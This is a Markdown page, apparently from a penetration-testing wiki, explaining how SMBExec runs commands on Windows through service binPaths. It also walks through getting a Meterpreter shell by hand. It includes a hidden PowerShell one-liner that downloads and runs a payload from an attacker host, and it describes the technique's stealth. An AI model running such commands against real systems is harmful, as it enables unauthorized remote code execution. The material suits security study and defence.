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45 lines
2.8 KiB
Markdown
45 lines
2.8 KiB
Markdown
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# SmbExec/ScExec
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## How does it works
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**Smbexec works like Psexec.** In this example**,** **instead** of pointing the "_binpath_" to a malicious executable inside the victim, we are going to **point it** to **cmd.exe or powershell.exe** and one of they will download and execute the backdoor.
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## **SMBExec**
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Let's see what happens when smbexec runs by looking at it from the attackers and target's side:
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So we know it creates a service "BTOBTO". But that service isn't present on the target machine when we do an `sc query`. The system logs reveal a clue to what happened:
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The Service File Name contains a command string to execute \(%COMSPEC% points to the absolute path of cmd.exe\). It echoes the command to be executed to a bat file, redirects the stdout and stderr to a Temp file, then executes the bat file and deletes it. Back on Kali, the Python script then pulls the output file via SMB and displays the contents in our "pseudo-shell". For every command we type into our "shell", a new service is created and the process is repeated. This is why it doesn't need to drop a binary, it just executes each desired command as a new service. Definitely more stealthy, but as we saw, an event log is created for every command executed. Still a very clever way to get a non-interactive "shell"!
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## Manual SMBExec
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**Or executing commands via services**
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As smbexec demonstrated, it's possible to execute commands directly from service binPaths instead of needing a binary. This can be a useful trick to keep in your back pocket if you need to just execute one arbitrary command on a target Windows machine. As a quick example, let's get a Meterpreter shell using a remote service _without_ a binary.
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We'll use Metasploit's `web_delivery` module and choose a PowerShell target with a reverse Meterpreter payload. The listener is set up and it tells us the command to execute on the target machine:
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```text
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powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://10.9.122.8:8080/AZPLhG9txdFhS9n');
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```
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From our Windows attack box, we create a remote service \("metpsh"\) and set the binPath to execute cmd.exe with our payload:
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And then start it:
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It errors out because our service doesn't respond, but if we look at our Metasploit listener we see that the callback was made and the payload executed.
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All the info was extracted from here: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
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